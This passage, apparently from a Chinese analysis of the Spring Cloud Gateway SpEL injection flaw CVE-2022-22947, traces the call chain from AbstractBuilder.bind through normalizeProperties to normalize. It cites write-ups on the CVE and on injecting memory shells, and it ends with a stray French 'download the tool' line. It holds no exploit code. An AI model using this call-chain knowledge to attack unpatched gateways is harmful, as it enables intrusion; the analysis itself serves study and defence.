第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuilder 的 normalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilder。AbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。




https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://www.cnblogs.com/duanxz/p/14780675.html
https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
Télécharger l’outil